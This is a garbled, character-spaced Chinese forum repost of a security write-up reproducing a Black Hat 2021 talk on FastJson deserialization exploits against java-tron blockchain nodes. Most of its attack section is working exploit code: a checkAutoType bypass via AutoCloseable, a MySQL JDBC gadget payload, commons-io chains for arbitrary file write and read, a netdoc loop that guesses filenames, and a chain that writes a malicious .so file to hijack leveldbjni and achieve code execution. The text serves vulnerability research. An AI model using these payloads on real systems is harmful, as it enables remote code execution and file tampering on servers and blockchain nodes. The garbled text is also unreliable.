搜索

[29120] 2021-08-16_【渗透测试】Blackhat2021议题详细分析——FastJson反序列化漏洞及在区块链应用中的渗透利用

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-08-16_【渗透测试】Blackhat2021议题详细分析——FastJson反序列化漏洞及在区块链应用中的渗透利用 【 渗 透 测 试 】 B l a c k h a t   2 0 2 1 议 题 详 细 分 析   — — F a s t J s o n 反 序 列 化 漏 洞 及 在 区 块 链 应 用 中 的 渗 透 利 用 O t s 安 全   2 0 2 1 - 0 8 - 1 6 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 H o w   I   U s e d   a   J S O N   D e s e r i a l i z a t i o n   0 d a y   t o   S t e a l   Y o u r   M o n e y   o n   t h e   B l o c k c h a i n ( F a s t J s o n 反 序 列 化 0 d a y 及 在 区 块 链 应 用 中 的 后 渗 透 利 用 ) 链 接 ： h t t p s : / / w w w . b l a c k h a t . c o m / u s - 2 1 / b r i e f i n g s / s c h e d u l e / # h o w - i - u s e d - a - j s o n - d e s e r i a l i z a t i o n - d a y - t o - s t e a l - y o u r - m o n e y - o n - t h e - b l o c k c h a i n - 2 2 8 1 5 P P T 链 接 ： h t t p : / / i . b l a c k h a t . c o m / U S A 2 1 / W e d n e s d a y - H a n d o u t s / u s - 2 1 - X i n g - H o w - I - U s e - A - J S O N - D e s e r i a l i z a t i o n . p d f 一 、 一 、 F a s t j s o n 反 序 列 化 原 理 反 序 列 化 原 理 这 个 图 其 实 已 经 能 让 人 大 致 理 解 了 ， 更 详 细 的 分 析 移 步 F a s t j s o n 反 序 列 化 原 理 二 、 二 、 b y P a s s   c h e c k A u t o t y p e 关 于 C h e c k A u t o T y p e 相 关 安 全 机 制 简 单 理 解 移 步 h t t p s : / / k u m a m o n . f u n / F a s t J s o n - c h e c k A u t o T y p e / 以 及   h t t p s : / / m p . w e i x i n . q q . c o m / s / O v R y r W F Z L G u 3 b A Y h O P R 4 K A h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 2 5 4 3 9 h t t p s : / / m p . w e i x i n . q q . c o m / s / O v R y r W F Z L G u 3 b A Y h O P R 4 K A 一 句 话 总 结 c h e c k A u t o T y p e ( S t r i n g   t y p e N a m e ,   C l a s s < ? >   e x p e c t C l a s s ,   i n t   f e a t u r e s )   方 法 的   t y p e N a m e   实 现 或 继 承 自   e x p e c t C l a s s ， 就 会 通 过 检 验 三 、 议 题 中 使 用 的 三 、 议 题 中 使 用 的 F a s t j s o n   的 一 些 已 公 开 的 一 些 已 公 开 G a d g e t s 必 须 继 承   a u t o   c l o s e a b l e 。 必 须 具 有 默 认 构 造 函 数 或 带 符 号 的 构 造 函 数 ， 否 则 无 法 正 确 实 例 化 。
不 在 黑 名 单 中 可 以 引 起   r c e   、 任 意 文 件 读 写 或 其 他 高 风 险 影 响 g a d g e t 的 依 赖 应 该 在 原 生 j d k 或 者 广 泛 使 用 的 第 三 方 库 中 G a d g e t 自 动 化 寻 找 h t t p s : / / g i s t . g i t h u b . c o m / 5 z 1 p u n c h / 6 b b 0 0 6 4 4 c e 6 b e a 3 2 7 f 4 2 c f 7 2 b c 6 2 0 b 8 0 关 于 这 几 条 链 我 们 简 单 复 现 下 1 . M y s q l   J D B C 搭 配 使 用   h t t p s : / / g i t h u b . c o m / f n m s d / M y S Q L _ F a k e _ S e r v e r i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; p u b l i c   c l a s s   P a y l o a d _ t e s t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s ) {                 / / 搭 配 使 用   h t t p s : / / g i t h u b . c o m / f n m s d / M y S Q L _ F a k e _ S e r v e r                 S t r i n g   p a y l o a d _ m y s q l j d b c   =   " { " a a a " : { " @ t y p e " : " u 0 0 6 a u 0 0 6 1 u 0 0 7 6 u 0 0 6 1 . l a n g . A u t o C l o s e a b l e " ,   " @ t y p e " : " u 0 0 6 3 u 0 0 6 f u 0 0 6 d . m y s q l . j d b c . J D B C 4 C o n n e c t i o n " , " h o s t T o C o n n e c t T o " : " 1 9 2 . 1 6 8 . 3 3 . 1 2 8 " , " p o r t T o C o n n e c t T o " : 3 3 0 6 , " u r l " : " j d b c : m y s q l : / / 1 9 2 . 1 6 8 . 3 3 . 1 2 8 : 3 3 0 6 / t e s t ? d e t e c t C u s t o m C o l l a t i o n s = t r u e & a u t o D e s e r i a l i z e = t r u e & u s e r = " , " d a t a b a s e T o C o n n e c t T o " : " t e s t " , " i n f o " : { " @ t y p e " : " u 0 0 6 a u 0 0 6 1 u 0 0 7 6 u 0 0 6 1 . u t i l . P r o p e r t i e s " , " P O R T " : " 3 3 0 6 " , " s t a t e m e n t I n t e r c e p t o r s " : " u 0 0 6 3 u 0 0 6 f u 0 0 6 d . m y s q l . j d b c . i n t e r c e p t o r s . S e r v e r S t a t u s D i f f I n t e r c e p t o r " , " a u t o D e s e r i a l i z e " : " t r u e " , " u s e r " : " c b " , " P O R T . 1 " : " 3 3 0 6 " , " H O S T . 1 " : " 1 7 2 . 2 0 . 6 4 . 4 0 " , " N U M _ H O S T S " : " 1 " , " H O S T " : " 1 7 2 . 2 0 . 6 4 . 4 0 " , " D B N A M E " : " t e s t " } } n "   +   " } " ;                 J S O N . p a r s e ( p a y l o a d _ m y s q l j d b c ) ;                 J S O N . p a r s e O b j e c t ( p a y l o a d _ m y s q l j d b c ) ;         } }
更 多 版 本 详 情 参 考   h t t p s : / / m p . w e i x i n . q q . c o m / s / B R B c R t s g 2 P D G e S C b H K c 0 f g 2 . c o m m o n s - i o 写 文 件 h t t p s : / / m p . w e i x i n . q q . c o m / s / 6 f H J 7 s 6 X o 4 G E d E G p K F L O y g 2 . 1   c o m m o n s - i o   2 . 0   -   2 . 6 此 处 在 L i n u x 复 现 时 ， 或 者 其 它 环 境 根 据 操 作 系 统 及 进 程 环 境 不 同 f a s t j s o n 构 造 函 数 的 调 用 会 出 现 随 机 化 ， 在 原 P o c 基 础 上 修 改 如 下 即 可 2 . 1   c o m m o n s - i o   2 . 7 . 0   -   2 . 8 . 0 3 . c o m m o n s - i o   逐 字 节 读 文 件 内 容   S t r i n g   a a a _ 8 1 9 2   =   " s s s s s s s s s s s s s s " + S o m e _ F u n c t i o n s . g e t R a n d o m S t r i n g ( 8 1 9 2 ) ; / /                 S t r i n g   w r i t e _ n a m e   =   " C : / / W i n d o w s / / T e m p / / s s s . t x t " ; S t r i n g   w r i t e _ n a m e   =   " D : / / t m p / / s s s . t x t " ; S t r i n g   p a y l o a d _ c o m m o n s _ i o _ f i l e w r i t e _ 0 _ 6   =   " { " x " : { " @ t y p e " : " c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t " , " i n p u t " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . R e a d e r I n p u t S t r e a m " , " r e a d e r " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . C h a r S e q u e n c e R e a d e r " , " c h a r S e q u e n c e " : { " @ t y p e " : " j a v a . l a n g . S t r i n g " " " + a a a _ 8 1 9 2 + " " } , " c h a r s e t N a m e " : " U T F - 8 " , " b u f f e r S i z e " : 1 0 2 4 } , " b r a n c h " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . o u t p u t . W r i t e r O u t p u t S t r e a m " , " w r i t e r " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . o u t p u t . F i l e W r i t e r W i t h E n c o d i n g " , " f i l e " : " " + w r i t e _ n a m e + " " , " e n c o d i n g " : " U T F - 8 " , " a p p e n d " :   f a l s e } , " c h a r s e t N a m e " : " U T F - 8 " , " b u f f e r S i z e " :   1 0 2 4 , " w r i t e I m m e d i a t e l y " :   t r u e } , " t r i g g e r " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . X m l S t r e a m R e a d e r " , " i s " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . T e e I n p u t S t r e a m " , " i n p u t " : { " $ r e f " : " $ . i n p u t " } , " b r a n c h " : { " $ r e f " : " $ . b r a n c h " } , " c l o s e B r a n c h " :   t r u e } , " h t t p C o n t e n t T y p e " : " t e x t / x m l " , " l e n i e n t " : f a l s e , " d e f a u l t E n c o d i n g " : " U T F - 8 " } , " t r i g g e r 2 " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . X m l S t r e a m R e a d e r " , " i s " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . T e e I n p u t S t r e a m " , " i n p u t " : { " $ r e f " : " $ . i n p u t " } , " b r a n c h " : { " $ r e f " : " $ . b r a n c h " } , " c l o s e B r a n c h " :   t r u e } , " h t t p C o n t e n t T y p e " : " t e x t / x m l " , " l e n i e n t " : f a l s e , " d e f a u l t E n c o d i n g " : " U T F - 8 " } , " t r i g g e r 3 " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . X m l S t r e a m R e a d e r " , " i s " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . T e e I n p u t S t r e a m " , " i n p u t " : { " $ r e f " : " $ . i n p u t " } , " b r a n c h " : { " $ r e f " : " $ . b r a n c h " } , " c l o s e B r a n c h " :   t r u e } , " h t t p C o n t e n t T y p e " : " t e x t / x m l " , " l e n i e n t " : f a l s e , " d e f a u l t E n c o d i n g " : " U T F - 8 " } } } " ; S t r i n g   p a y l o a d _ c o m m o n s _ i o _ f i l e w r i t e _ 7 _ 8   =   " { " x " : { " @ t y p e " : " c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t " , " i n p u t " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . R e a d e r I n p u t S t r e a m " , " r e a d e r " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . C h a r S e q u e n c e R e a d e r " , " c h a r S e q u e n c e " : { " @ t y p e " : " j a v a . l a n g . S t r i n g " " " + a a a _ 8 1 9 2 + " " , " s t a r t " : 0 , " e n d " : 2 1 4 7 4 8 3 6 4 7 } , " c h a r s e t N a m e " : " U T F - 8 " , " b u f f e r S i z e " : 1 0 2 4 } , " b r a n c h " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . o u t p u t . W r i t e r O u t p u t S t r e a m " , " w r i t e r " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . o u t p u t . F i l e W r i t e r W i t h E n c o d i n g " , " f i l e " : " " + w r i t e _ n a m e + " " , " c h a r s e t N a m e " : " U T F - 8 " , " a p p e n d " :   f a l s e } , " c h a r s e t N a m e " : " U T F - 8 " , " b u f f e r S i z e " :   1 0 2 4 , " w r i t e I m m e d i a t e l y " :   t r u e } , " t r i g g e r " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . X m l S t r e a m R e a d e r " , " i n p u t S t r e a m " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . T e e I n p u t S t r e a m " , " i n p u t " : { " $ r e f " : " $ . i n p u t " } , " b r a n c h " : { " $ r e f " : " $ . b r a n c h " } , " c l o s e B r a n c h " :   t r u e } , " h t t p C o n t e n t T y p e " : " t e x t / x m l " , " l e n i e n t " : f a l s e , " d e f a u l t E n c o d i n g " : " U T F - 8 " } , " t r i g g e r 2 " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . X m l S t r e a m R e a d e r " , " i n p u t S t r e a m " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . T e e I n p u t S t r e a m " , " i n p u t " : { " $ r e f " : " $ . i n p u t " } , " b r a n c h " : { " $ r e f " : " $ . b r a n c h " } , " c l o s e B r a n c h " :   t r u e } , " h t t p C o n t e n t T y p e " : " t e x t / x m l " , " l e n i e n t " : f a l s e , " d e f a u l t E n c o d i n g " : " U T F - 8 " } , " t r i g g e r 3 " : { " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . X m l S t r e a m R e a d e r " , " i n p u t S t r e a m " : { " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . T e e I n p u t S t r e a m " , " i n p u t " : { " $ r e f " : " $ . i n p u t " } , " b r a n c h " : { " $ r e f " : " $ . b r a n c h " } , " c l o s e B r a n c h " :   t r u e } , " h t t p C o n t e n t T y p e " : " t e x t / x m l " , " l e n i e n t " : f a l s e , " d e f a u l t E n c o d i n g " : " U T F - 8 " } } " ; S t r i n g   p a y l o a d _ r e a d _ f i l e   =   " { " a b c " :   { " @ t y p e " :   " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " :   " o r g . a p a c h e . c o m m o n s . i o . i n p u t . B O M I n p u t S t r e a m " , " d e l e g a t e " :   { " @ t y p e " :   " o r g . a p a c h e . c o m m o n s . i o . i n p u t . R e a d e r I n p u t S t r e a m " , " r e a d e r " :   { " @ t y p e " :   " j d k . n a s h o r n . a p i . s c r i p t i n g . U R L R e a d e r " , " u r l " :   " f i l e : / / / D : / t m p / s s s . t x t " } , " c h a r s e t N a m e " :   " U T F - 8 " , " b u f f e r S i z e " :   1 0 2 4 } , " b o m s " :   [ { " c h a r s e t N a m e " :   " U T F - 8 " , " b y t e s " :   [ 1 1 ] } ] } , " a d d r e s s " :   { " $ r e f " :   " $ . a b c . B O M " } } " ;
四 、 四 、 N e w   G a d g e t s   及 实 现 区 块 链 及 实 现 区 块 链 R C E P P T 中 提 到 了 ， 它 没 有 m y s q l - j d b c 链 ， 且 为 S p r i n g - b o o t ， 无 法 直 接 写 w e b s h e l l 。 虽 然 我 们 可 以 覆 盖 c l a s s 文 件 ， 但 是 需 要 r o o t 权 限 ， 且 并 不 确 定 c h a r s e . j a r   p a t h 。 然 后 回 到 目 标 本 身 ， j a v a   t r o n 是 t r o n 推 出 的 公 链 协 议 的 j a v a 实 现 ， 是 一 个 开 源   J a v a   应 用 程 序 ， J a v a - t r o n   可 以 在   t r o n   节 点 上 启 用   H T T P   服 务 内 部 使 用 F a s t j s o n 解 析 J s o n 数 据 。 且 ： •   L e v e l d b   和   l e v e l d b j n i ： •   快 速 键 值 存 储 库 •   被 比 特 币 使 用 ， 因 此 被 很 多 公 链 继 承 •   存 储 区 块 链 元 数 据 ， 频 繁 轮 询 读 写 •   需 要 效 率 ， 所 以   J N I   h t t p s : / / g i t h u b . c o m / f u s e s o u r c e / l e v e l d b j n 综 上 所 述 ， 洞 主 最 终 利 用 F a s t j s o n 的 几 个 漏 洞 ， 结 合 L e v a l d b j n i 的 J N I 特 性 ， 替 换 / t m p / 目 录 下 的 s o 文 件 最 终 执 行 了 恶 意 命 令 1 . 模 拟 环 境   L e v a l d b j n i _ S a m p l e 这 里 我 们 简 单 写 了 一 个 L e v a l d b j n i 的 D e m o 来 模 拟 漏 洞 环 境 ， 两 次 执 行 f a c t o r y . o p e n ( n e w   F i l e ( " / t m p / l v l t e s t 1 " ) ,   o p t i o n s ) ; 都 将 会 加 载 / * *   *   @ a u t h e r   S k a y   *   @ d a t e   2 0 2 1 / 8 / 1 0   1 9 : 3 5   *   @ d e s c r i p t i o n   * / i m p o r t   s t a t i c   o r g . f u s e s o u r c e . l e v e l d b j n i . J n i D B F a c t o r y . f a c t o r y ;
运 行 时 会 在 t m p 目 录 下 生 成 如 下 文 件 可 以 看 到 我 们 的 目 标 就 是 替 换 l i b l e v e l d b j n i - 6 4 - 5 9 5 0 2 7 4 5 8 3 5 0 5 9 5 4 9 0 2 . s o 2 . c o m m o n s - i o   逐 字 节 读 文 件 名 在 议 题 中 中 对 于 c o m m o n s - i o 的 使 用 是 读 取 / t m p / 目 录 下 的 随 机 生 成 的 s o 文 件 名 ， 我 们 现 在 可 以 使 用 f i l e 协 议 读 取 文 件 内 容 了 ， 这 里 我 们 使 用 n e t d o c 协 议 读 取 文 件 名 即 可 ， 因 为 是 逐 字 节 读 取 ， 我 们 写 一 个 简 单 的 循 环 判 断 即 可 i m p o r t   j a v a . i o . F i l e ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   o r g . i q 8 0 . l e v e l d b . D B ; i m p o r t   o r g . i q 8 0 . l e v e l d b . O p t i o n s ; p u b l i c   c l a s s   L e v a l d b j n i _ S a m p l e   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   I O E x c e p t i o n ,   I n t e r r u p t e d E x c e p t i o n   {                 O p t i o n s   o p t i o n s   =   n e w   O p t i o n s ( ) ;                 T h r e a d . s l e e p ( 2 0 0 0 ) ;                 o p t i o n s . c r e a t e I f M i s s i n g ( t r u e ) ;                 T h r e a d . s l e e p ( 2 0 0 0 ) ;                 D B   d b   =   f a c t o r y . o p e n ( n e w   F i l e ( " / t m p / l v l t e s t " ) ,   o p t i o n s ) ;                 S y s t e m . o u t . p r i n t l n ( " s o   f i l e   c r e a t e d " ) ;                 S y s t e m . o u t . p r i n t l n ( " w a t t i n g   a t t a c k . . . . . . . " ) ;                 T h r e a d . s l e e p ( 3 0 0 0 0 ) ;                 S y s t e m . o u t . p r i n t l n ( " E x p l o i t . . . . . . . " ) ;                 D B   d b 1   =   f a c t o r y . o p e n ( n e w   F i l e ( " / t m p / l v l t e s t 1 " ) ,   o p t i o n s ) ; t r y   { f o r   ( i n t   i   =   0 ;   i   <   1 0 0 0 0 0 0 ;   i + + )   { b y t e [ ]   k e y   =   n e w   S t r i n g ( " k e y "   +   i ) . g e t B y t e s ( ) ; b y t e [ ]   v a l u e   =   n e w   S t r i n g ( " v a l u e "   +   i ) . g e t B y t e s ( ) ;                                 d b . p u t ( k e y ,   v a l u e ) ;                         } f o r   ( i n t   i   =   0 ;   i   <   1 0 0 0 0 0 0 ;   i + + )   { b y t e [ ]   k e y   =   n e w   S t r i n g ( " k e y "   +   i ) . g e t B y t e s ( ) ; b y t e [ ]   v a l u e   =   d b . g e t ( k e y ) ;                                 S t r i n g   t a r g e t V a l u e   =   " v a l u e "   +   i ; i f   ( ! n e w   S t r i n g ( v a l u e ) . e q u a l s ( t a r g e t V a l u e ) )   {                                         S y s t e m . o u t . p r i n t l n ( " s o m e t h i n g   w r o n g ! " ) ;                                 }                         } f o r   ( i n t   i   =   0 ;   i   <   1 0 0 0 0 0 0 ;   i + + )   { b y t e [ ]   k e y   =   n e w   S t r i n g ( " k e y "   +   i ) . g e t B y t e s ( ) ;                                 d b . d e l e t e ( k e y ) ;                         }                         T h r e a d . s l e e p ( 2 0 0 0 0 ) ; / /                         T h r e a d . s l e e p ( 5 0 0 0 0 0 ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }   f i n a l l y   {                         d b . c l o s e ( ) ;                 }         } } p u b l i c   s t a t i c   c h a r   f a k e C h a r ( c h a r [ ]   f i l e N a m e ) {         c h a r [ ]   f s = n e w   c h a r [ f i l e N a m e . l e n g t h + 1 ] ;         S y s t e m . a r r a y c o p y ( f i l e N a m e , 0 , f s , 0 , f i l e N a m e . l e n g t h ) ; f o r   ( c h a r   i   =   1 ;   i   < =   1 2 7 ;   i + + )   {                 f s [ f s . l e n g t h - 1 ] = i ;                 S t r i n g   p a y l o a d _ r e a d _ f i l e   =   " { " a b c " :   { " @ t y p e " :   " j a v a . l a n g . A u t o C l o s e a b l e " , " @ t y p e " :   " o r g . a p a c h e . c o m m o n s . i o . i n p u t . B O M I n p u t S t r e a m " , " d e l e g a t e " :   { " @ t y p e " :   " o r g . a p a c h e . c o m m o n s . i o . i n p u t . R e a d e r I n p u t S t r e a m " , " r e a d e r " :   { " @ t y p e " :   " j d k . n a s h o r n . a p i . s c r i p t i n g . U R L R e a d e r " , " u r l " :   " n e t d o c : / / / t m p / " } , " c h a r s e t N a m e " :   " u t f - 8 " , " b u f f e r S i z e " :   1 0 2 4 } , " b o m s " :   [ { " c h a r s e t N a m e " :   " u t f - 8 " , " b y t e s " :   [ " + f o r m a t C h a r s ( f s ) + " ] } ] } , " a d d r e s s " :   { " $ r e f " :   " $ . a b c . B O M " } } " ;
执 行 效 果 如 下 3 . s o 文 件 的 修 改 这 里 需 要 一 点 二 进 制 的 知 识 ， 首 先 确 定 下 我 们 要 修 改 哪 个 函 数 修 改 如 下 即 可 i f   ( J S O N . p a r s e ( p a y l o a d _ r e a d _ f i l e ) . t o S t r i n g ( ) . i n d e x O f ( " b O M C h a r s e t N a m e " ) > 0 ) { r e t u r n   i ;                 }         } r e t u r n   0 ; }
4 . 写 二 进 制 文 件 c o m m o n s - i o 的 链 只 支 持 写 文 本 文 件 ， 这 里 测 试 了 一 下 ， 不 进 行 b a s e 6 4 编 码 进 行 单 纯 文 本 方 式 操 作 二 进 制 文 件 写 入 文 件 前 后 会 产 生 一 些 奇 妙 的 变 化 议 题 作 者 给 出 了 写 二 进 制 文 件 的 一 条 新 链 在 进 行 了 b a s e 6 4 编 码 后 就 不 存 在 上 述 问 题 ， 这 里 感 谢 浅 蓝 师 傅 提 供 了 一 些 构 造 帮 助 ， 最 后 此 链 构 造 如 下 ： / * *   *   @ a u t h e r   S k a y   *   @ d a t e   2 0 2 1 / 8 / 1 3   1 4 : 2 5   *   @ d e s c r i p t i o n   * / p u b l i c   c l a s s   p a y l o a d _ A s p e c t J _ w r i t e f i l e   {         p u b l i c   s t a t i c   v o i d   w r i t e _ s o ( S t r i n g   t a r g e t _ p a t h ) {                 b y t e [ ]   b o m _ b u f f e r _ b y t e s   =   r e a d F i l e I n B y t e s T o S t r i n g ( " . / b e i c h e n . s o " ) ;                 / / 写 文 本 时 要 填 充 数 据 / /                 S t r i n g   s o _ c o n t e n t   =   n e w   S t r i n g ( b o m _ b u f f e r _ b y t e s ) ; / /                 f o r   ( i n t   i = 0 ; i < 8 1 9 2 ; i + + ) { / /                         s o _ c o n t e n t   =   s o _ c o n t e n t + " a " ; / /                 } / /                 S t r i n g   b a s e 6 4 _ s o _ c o n t e n t   =   B a s e 6 4 . g e t E n c o d e r ( ) . e n c o d e T o S t r i n g ( s o _ c o n t e n t . g e t B y t e s ( ) ) ;                 S t r i n g   b a s e 6 4 _ s o _ c o n t e n t   =   B a s e 6 4 . g e t E n c o d e r ( ) . e n c o d e T o S t r i n g ( b o m _ b u f f e r _ b y t e s ) ;                 b y t e [ ]   b i g _ b o m _ b u f f e r _ b y t e s   =   B a s e 6 4 . g e t D e c o d e r ( ) . d e c o d e ( b a s e 6 4 _ s o _ c o n t e n t ) ; / /                 b y t e [ ]   b i g _ b o m _ b u f f e r _ b y t e s   =   b a s e 6 4 _ s o _ c o n t e n t . g e t B y t e s ( ) ;                 S t r i n g   p a y l o a d   =   S t r i n g . f o r m a t ( " { n "   + "     " @ t y p e " : " j a v a . l a n g . A u t o C l o s e a b l e " , n "   + "     " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . B O M I n p u t S t r e a m " , n "   +
"     " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . B O M I n p u t S t r e a m " , n "   + "     " d e l e g a t e " : { n "   + "         " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . T e e I n p u t S t r e a m " , n "   + "         " i n p u t " : { n "   + "             " @ t y p e " :   " o r g . a p a c h e . c o m m o n s . c o d e c . b i n a r y . B a s e 6 4 I n p u t S t r e a m " , n "   + "             " i n " : { n "   + "                 " @ t y p e " : " o r g . a p a c h e . c o m m o n s . i o . i n p u t . C h a r S e q u e n c e I n p u t S t r e a m " , n "   + "                 " c h a r s e t " : " u t f - 8 " , n "   + "                 " b u f f e r S i z e " :   1 0 2 4 , n "   + "                 " s " : { " @ t y p e " : " j a v a . l a n g . S t r i n g " " % 1 $ s " n "   + "             } , n "   + "             " d o E n c o d e " : f a l s e , n "   + "             " l i n e L e n g t h " : 1 0 2 4 , n "   + "             " l i n e S e p a r a t o r " : " 5 Z W K C g = = " , n "   + "             " d e c o d i n g P o l i c y " : 0 n "   + "         } , n "   + "         " b r a n c h " : { n "   + "             " @ t y p e " : " o r g . e c l i p s e . c o r e . i n t e r n a l . l o c a l s t o r e . S a f e F i l e O u t p u t S t r e a m " , n "   + "             " t a r g e t P a t h " : " % 2 $ s " n "   + "         } , n "   + "         " c l o s e B r a n c h " : t r u e n "   + "     } , n "   + "     " i n c l u d e " : t r u e , n "   + "     " b o m s " : [ { n "   + "                                     " @ t y p e " :   " o r g . a p a c h e . c o m m o n s . i o . B y t e O r d e r M a r k " , n "   + "                                     " c h a r s e t N a m e " :   " U T F - 8 " , n "   + "                                     " b y t e s " : "   + " % 3 $ s n "   + "                                 } ] , n "   + "     " x " : { " $ r e f " : " $ . b O M " } n "   + " } " , b a s e 6 4 _ s o _ c o n t e n t ,   " D : / / j a v a / / F a s t j s o n _ A l l / / f a s t j s o n _ d e b u g / / f a s t j s o n _ 6 8 _ p a y l o a d _ t e s t _ a t t c k / / a a a . s o " , A r r a y s . t o S t r i n g ( b i g _ b o m _ b u f f e r _ b y t e s ) ) ; / /                 S y s t e m . o u t . p r i n t l n ( p a y l o a d ) ;                 J S O N . p a r s e ( p a y l o a d ) ;         }         p u b l i c   s t a t i c   b y t e [ ]   r e a d F i l e I n B y t e s T o S t r i n g ( S t r i n g   f i l e P a t h )   {                 f i n a l   i n t   r e a d A r r a y S i z e P e r R e a d   =   4 0 9 6 ;                 F i l e   f i l e   =   n e w   F i l e ( f i l e P a t h ) ;                 A r r a y L i s t < B y t e >   b y t e s   =   n e w   A r r a y L i s t < > ( ) ; t r y   { i f   ( f i l e . e x i s t s ( ) )   {                                 D a t a I n p u t S t r e a m   i s r   =   n e w   D a t a I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m (                                                 f i l e ) ) ;                                 b y t e [ ]   t e m p c h a r s   =   n e w   b y t e [ r e a d A r r a y S i z e P e r R e a d ] ;                                 i n t   c h a r s R e a d C o u n t   =   0 ; w h i l e   ( ( c h a r s R e a d C o u n t   =   i s r . r e a d ( t e m p c h a r s ) )   ! =   - 1 )   { f o r ( i n t   i   =   0   ;   i   <   c h a r s R e a d C o u n t   ;   i + + ) {                                                 b y t e s . a d d   ( t e m p c h a r s [ i ] ) ;                                         }                                 }                                 i s r . c l o s e ( ) ;                         }                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         / /   T O D O   A u t o - g e n e r a t e d   c a t c h   b l o c k                         e . p r i n t S t a c k T r a c e ( ) ;                 } r e t u r n   t o P r i m i t i v e s ( b y t e s . t o A r r a y ( n e w   B y t e [ 0 ] ) ) ;         }         s t a t i c   b y t e [ ]   t o P r i m i t i v e s ( B y t e [ ]   o B y t e s )   {                 b y t e [ ]   b y t e s   =   n e w   b y t e [ o B y t e s . l e n g t h ] ;
5 . 成 功 R C E 五 、 参 考 链 接 五 、 参 考 链 接   &   致 谢 致 谢 * 感 谢 v o i d f y o o 、 浅 蓝 、 * R i c t e r Z   在 F a s t j s o n   P o c 方 面 帮 助 感 谢 S w i n g 、 B e i c h e n   在 二 进 制 方 面 帮 助 最 后 感 谢 郑 成 功 不 断 督 促 和 鼓 励 才 使 得 这 篇 文 章 得 以 顺 利 展 示 到 大 家 面 前 h t t p s : / / w w w . m i 1 k 7 e a . c o m / 2 0 1 9 / 1 1 / 0 3 / F a s t j s o n % E 7 % B 3 % B B % E 5 % 8 8 % 9 7 % E 4 % B 8 % 8 0 % E 2 % 8 0 % 9 4 % E 2 % 8 0 % 9 4 % E 5 % 8 F % 8 D % E 5 % B A % 8 F % E 5 % 8 8 % 9 7 % E 5 % 8 C % 9 6 % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 5 % 9 F % B A % E 6 % 9 C % A C % E 5 % 8 E % 9 F % E 7 % 9 0 % 8 6 / h t t p s : / / m p . w e i x i n . q q . c o m / s / 6 f H J 7 s 6 X o 4 G E d E G p K F L O y g h t t p : / / i . b l a c k h a t . c o m / U S A 2 1 / W e d n e s d a y - H a n d o u t s / u s - 2 1 - X i n g - H o w - I - U s e - A - J S O N - D e s e r i a l i z a t i o n . p d f 阅 读 原 文 f o r   ( i n t   i   =   0 ;   i   <   o B y t e s . l e n g t h ;   i + + )   {                         b y t e s [ i ]   =   o B y t e s [ i ] ;                 } r e t u r n   b y t e s ;         } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理